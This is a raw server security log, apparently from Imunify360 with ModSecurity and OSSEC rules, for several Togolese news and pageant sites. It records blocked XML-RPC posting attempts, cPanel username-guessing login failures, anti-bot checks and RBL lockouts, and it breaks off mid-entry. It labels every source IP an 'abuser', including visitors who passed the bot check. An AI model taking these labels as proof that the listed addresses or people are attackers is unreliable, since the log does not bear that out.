IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1732f147f925b51e41a2b4379d1c38ccf9934500||Title:9vaxataznr4yalph||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.166.244.97
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/897e7a HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 86.126.52.98
country_id: 798549
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0045.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0045-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0045-768x512.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221201-WA0045-272x182.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:90dfde965da467b5807a3820fbbebb838abdb44b||Title:ypq190ok0jwe5w||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4a7a554c752011c2ac8f281ae0e753b568b44b3b||Title:szf46kk4dok3kpq||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:18:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:18:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:19:00 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:23:19:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791891&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738358 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:563f10111b4551b84bb45dbbeda56d4bfdd371ed||Title:ak03tw96kr82wsz||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:18:58 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:19:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921069&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738358 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.173.195.237
country_id: 3865483
description:
[2026-06-17 23:20:22 +0000] info [cpaneld] 45.173.195.237 - mftogo "GET /login/?login_only=1&user=mftogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mftogo (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:80ea437cba83ffdd13b51e88b5e902f65b0b92c0||Title:o75ndbbujn4n8rob0||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.187.55.226
country_id: 1562822
description:
[2026-06-17 23:20:18 +0000] info [cpaneld] 58.187.55.226 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a9d6947d28bd0094ed2c77b19ddc107fbd1c168a||Title:fn69glqwsf4vmoz6||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.132.219.227
country_id: 1522867
description:
[2026-06-17 23:20:34 +0000] info [cpaneld] 2.132.219.227 - mft "GET /login/?login_only=1&user=mft&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mft (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.150.214.205
country_id: 3017382
description:
[2026-06-17 23:20:36 +0000] info [cpaneld] 92.150.214.205 - mf "GET /login/?login_only=1&user=mf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mf (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 23:21:52 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:00107fb16b11ce51bb9842efc57c3b0bd2eedf8f||Title:kyx3fk8kckqvty2v6q||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:23:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145752&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738598 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 197.192.203.55
country_id: 357994
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:maurice.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c68f48fdbfb50ab30397b7d40f94bfbcacee0d5b||Title:jjn5k9bmcegy64nwd||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:23:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13279132&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738595 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.0.17.166
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/06/unnamed-1.webp 512w, http:/togodailynews.tg/wp-content/uploads/2025/06/unnamed-1-300x200.webp 300w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.146.114.156
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/91908c HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 171.255.235.138
country_id: 1562822
description:
171.255.235.138 - - [17/Jun/2026:23:24:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6397596&pdata=https%253A%252F%252Ftogodailynews.tg%252Fculture-coup-dessai-coup-de-maitre-pour-la-1e-edition-de-miss-agou%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781738672 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/culture-coup-dessai-coup-de-maitre-pour-la-1e-edition-de-miss-agou/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:171.255.235.138


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.11.54
country_id: 3469034
description:
Jun 17 23:28:15 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.11.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.219
country_id: 1269750
description:
Jun 17 23:28:36 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.11.54
country_id: 3469034
description:
Jun 17 23:28:29 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.11.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 23:30:05 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.0.27
country_id: 1643084
description:
[2026-06-17 23:30:56 +0000] info [cpaneld] 103.190.0.27 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.225.61.156
country_id: 6252001
description:
Jun 17 23:31:44 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.225.61.156 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:31:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:31:57 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:31:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:32:00 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.246.120.146
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/11/Premier-Conseil-des-ministres-de-la-Veme-Republique.webp HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:23:33:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142916&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739181 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:33:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793176&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739181 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.182.156.57
country_id: 953987
description:
102.182.156.57 - - [17/Jun/2026:23:33:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12872555&pdata=https%253A%252F%252Ftogodailynews.tg%252Fmodernisation-des-medias-au-togo-le-prof-prof-akodah-ayewouadan-receptionne-un-lot-de-materiel-dun-montant-de-62-millions-fcfa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739182 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/modernisation-des-medias-au-togo-le-prof-prof-akodah-ayewouadan-receptionne-un-lot-de-materiel-dun-montant-de-62-millions-fcfa/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.6588.1875 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.182.156.57


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 17 23:33:23 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.160.104.14
country_id: 1210997
description:
[2026-06-17 23:34:21 +0000] info [cpaneld] 182.160.104.14 - metaart "GET /login/?login_only=1&user=metaart&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaart (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 17 23:33:31 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.6.170.61
country_id: 3932488
description:
[2026-06-17 23:34:30 +0000] info [cpaneld] 179.6.170.61 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.216.218.21
country_id: 2017370
description:
[2026-06-17 23:34:41 +0000] info [cpaneld] 178.216.218.21 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.226.51.20
country_id: 2661886
description:
[2026-06-17 23:35:18 +0000] info [cpaneld] 90.226.51.20 - cer "GET /login/?login_only=1&user=cer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.119.60.107
country_id: 6251999
description:
[2026-06-17 23:34:58 +0000] info [cpaneld] 142.119.60.107 - certlogi "GET /login/?login_only=1&user=certlogi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlogi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.219.57.228
country_id: 3895114
description:
[2026-06-17 23:35:06 +0000] info [cpaneld] 138.219.57.228 - certlo "GET /login/?login_only=1&user=certlo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user certlo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.115.161.18
country_id: 3923057
description:
[2026-06-17 23:35:16 +0000] info [cpaneld] 181.115.161.18 - cert "GET /login/?login_only=1&user=cert&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cert (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.195.24.147
country_id: 1269750
description:
Jun 17 23:37:01 ns5 auth[2195898]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.195.24.147 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.171.207.141
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/aca49b HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 42.191.66.169
country_id: 1733045
description:
42.191.66.169 - - [17/Jun/2026:23:38:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104922&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffaux-recrutement-massif-unicef%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739491 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/faux-recrutement-massif-unicef/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.8750.1861 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:42.191.66.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:23:39:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185325&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739576 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:23:39:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7433367&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781739578 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.190.0.27
country_id: 1643084
description:
[2026-06-17 23:39:57 +0000] info [cpaneld] 103.190.0.27 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.229.20.90
country_id: 3469034
description:
[2026-06-17 23:40:51 +0000] info [cpaneld] 45.229.20.90 - davete "GET /login/?login_only=1&user=davete&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davete (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.241
country_id: 99237
description:
[2026-06-17 23:41:00 +0000] info [cpaneld] 212.237.119.241 - dave "GET /login/?login_only=1&user=dave&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dave (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.174.99.187
country_id: 3895114
description:
[2026-06-17 23:41:05 +0000] info [cpaneld] 186.174.99.187 - dav "GET /login/?login_only=1&user=dav&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dav (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.108.113.21
country_id: 1210997
description:
[2026-06-17 23:41:10 +0000] info [cpaneld] 103.108.113.21 - da "GET /login/?login_only=1&user=da&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user da (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.112.95.210
country_id: 1562822
description:
[2026-06-17 23:40:39 +0000] info [cpaneld] 42.112.95.210 - davetechnotg "GET /login/?login_only=1&user=davetechnotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechnotg (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.177.53.159
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/1289304617 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.115.217.3
country_id: 3865483
description:
[2026-06-17 23:40:32 +0000] info [cpaneld] 200.115.217.3 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.85.158
country_id: 2921044
description:
[2026-06-17 23:42:08 +0000] info [cpaneld] 217.181.85.158 - yydrdvav "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.65.9
country_id: 1880251
domain: togodailynews.tg:80
description:
